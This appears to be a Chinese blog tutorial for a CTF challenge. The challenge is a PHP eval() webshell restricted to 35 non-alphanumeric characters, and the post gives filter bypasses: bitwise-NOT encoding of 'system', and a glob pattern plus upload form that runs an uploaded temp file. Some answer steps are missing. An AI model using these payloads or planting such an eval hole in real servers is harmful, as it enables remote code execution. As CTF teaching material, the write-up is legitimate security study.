无字母数字webshell命令执行

ops/2024/9/24 23:23:38/
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

限制:

1.webshell长度不超过35

2.正则过滤掉了数字字母还有$和_

php7环境:

取反

php中’~‘表示取反,而取反之后大都是不可见字符

<?php
var_dump(urlencode(~'system'));

取反后的值为%8C%86%8C%8B%9A%92

解码:

<?php
var_dump(urlencode(~'phpinfo'));

答案如下:

php5环境:

通配符

用通配符来进行匹配,无法准确匹配

但我们要继续通配符

[^a]表示这里不为a

[0-9]表示0-9这个范围

而注意到linux中文件基本都是小写,我们上传的文件中后几位是随机的,可能包含大写,所以我们就只需要利用[]表示出大写字母就可以了

在ascii表中,大写字母处于@-[之间,所以很明确了,使用/???/???????[@-[]来进行匹配

执行:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><form action="web.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit" value="submit"></form>
</body>
</html>

写一个form表单上传文件到web.php,使用bp抓包,抓一个上传文件的包和web.php的包

 

把第一个包的post内容放入web.php中

发送请求

结束


http://www.ppmy.cn/ops/94887.html

相关文章

安卓相关环境配置

安卓相关环境配置 偶尔更新。。。 JEB&#xff08;动态调试好用&#xff09; JEB动态调试Smali-真机/模拟器&#xff08;详细&#xff0c;新手必看&#xff09; 夜步城 JADX官网&#xff08;静态分析&#xff09; https://github.com/skylot/jadx/releases/tag/v1.5.0 雷…

LVS--理论+实操

lvs简介 LVS:Linux Virtual Server&#xff0c;负载调度器&#xff0c;内核集成&#xff0c;章文嵩&#xff0c;阿里的四SLB(Server LoadBalance)是基 于LVSkeepalived实现 lvs集群体系结构 工作原理&#xff1a; VS根据请求报文的目标IP和目标协议及端口将其调度转发至某RS…

https访问需要怎么操作

其实现在很多细心的朋友都会发现&#xff0c;越来越多的网站在访问时&#xff0c;都是https访问而不是http访问&#xff0c;有人知道https和http有什么区别吗&#xff1f; 其实http访问只是最基础的网站访问方式&#xff0c;在使用浏览器访问时&#xff0c;会显示不安全的提示…

激光测距传感器

系列文章目录 1.元件基础 2.电路设计 3.PCB设计 4.元件焊接 5.板子调试 6.程序设计 7.算法学习 8.编写exe 9.检测标准 10.项目举例 11.职业规划 文章目录 前言一、产品原理&#xff1a;二、产品介绍&#xff1a;三、应用特点四、应用案例&#xff1a;1.冶金钢铁板卷材开卷工…

来了,秋天的第一个POC

立秋就这么水灵灵地过了 又到了“秋天的第一杯奶茶”刷屏的时刻 而我们要追求的是“秋天的第一个POC” 做好变强的准备了吗 Yak POC编写&#xff0c;这一篇就够了 文章中指代的POC仅指使用 Yaklang 编程语言编写的POC 在此篇文章中就详细描述 Yaklang 语法的学习了&#x…

vue项目配置基础路由vue-router

1、运行以下命令安装vue-router yarn add vue-router 2、在src目录下的components中新建两个vue页面 3、在src目录下新建router文件夹&#xff0c;在router文件夹下面新建index.js文件 4、配置main.js文件 //引入Vue import Vue from "vue"; //引入App import App…

DVWA | Brute Force(LowMedium)的渗透实践

Brute force主要是通过爆破达到渗透目的&#xff1a; Low 查看源代码&#xff1a; <?phpif( isset( $_GET[ Login ] ) ) {// Get username$user $_GET[ username ];// Get password$pass $_GET[ password ];$pass md5( $pass );// Check the database$query "SE…

【NPM】使用教程

NPM&#xff08;Node Package Manager&#xff09;是一个用于管理JavaScript包的工具&#xff0c;通常与Node.js一起使用。以下是一个简要的NPM使用教程&#xff0c;帮助你快速上手&#xff1a; 1. 安装 Node.js 和 NPM 下载和安装 Node.js&#xff1a; 访问 Node.js官网 下载…